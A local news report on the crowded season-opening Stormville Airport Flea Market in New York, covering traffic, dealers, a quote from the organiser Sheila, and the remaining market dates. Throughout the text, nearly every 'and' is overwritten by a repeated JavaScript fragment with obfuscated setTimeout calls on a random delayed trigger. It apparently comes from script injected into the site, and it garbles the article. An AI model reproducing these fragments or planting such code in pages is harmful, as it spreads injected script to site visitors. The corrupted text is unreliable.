By: R. Scudder Smith

 STORMVILLE, N.Y. — A suggestion: Leave some extra travel time when you plan on visiting the Stormville Airport Flea Market. The GPS said it would take 42 minutes, but it did not allow for the traffic trying to get into the parking lot for the market. At 7:45 am, with the show opening at 8 am, the line of cars approaching the parking lot, from one direction only, was just short of a mile long, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it moved slowly. When leaving the market some 2½ hours later, the cars coming off the Stormville exit of I-84, heading for the parking lot, was even longer than before, measuring just over a mile.

To say this market on Sunday, April 28, was crowded is really not correct. It was mobbed. Young andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and old were there, some with youngsters in tow, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it seemed that you were out of vogue if you did not have a shopping cart to pull along behind you. And those who brought them were there to shop, for only a few of the carts were waiting to be filled.

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Stormville, which has only a single one-day market that opens the season, is an unbalanced mix of old andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and new, with about 100 antiques dealers set up with all manner of things, ranging from cases of smalls such as badges, knives, pins, etc, to all kinds of glassware, early advertising, posters, vintage clothing, ironware, tools, toys, some furniture … the list is endless.  One dealer, a regular at this market, left little room to enter his booth after filling four large tables andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and most of the ground in his space. He was walking up andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and down in front of his booth, urging people to “come on in, make a pile, as I don’t want to take any of this home.”

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“The five remaining flea markets on the schedule are all two-day events, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the number of dealers increases,” Sheila said. On some of those dates up to 300 antiques dealers show up, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the number of vendors with new things also grows, Sheila indicated. She noted that “good weather brings out large crowds andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and we have over 20 food standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands to feed them.”

If you missed this market, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it did not appear as if many people did, then there is a full schedule still ahead. Future dates, all two-day markets, are May 25–26, July 6–7, August 31–September 1, October 12–13 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Christmas in November, November 2–3. Admission is free, but do not bring your pet. For further information, 845-221-6561 or http://stormvilleairportfleamarket.com.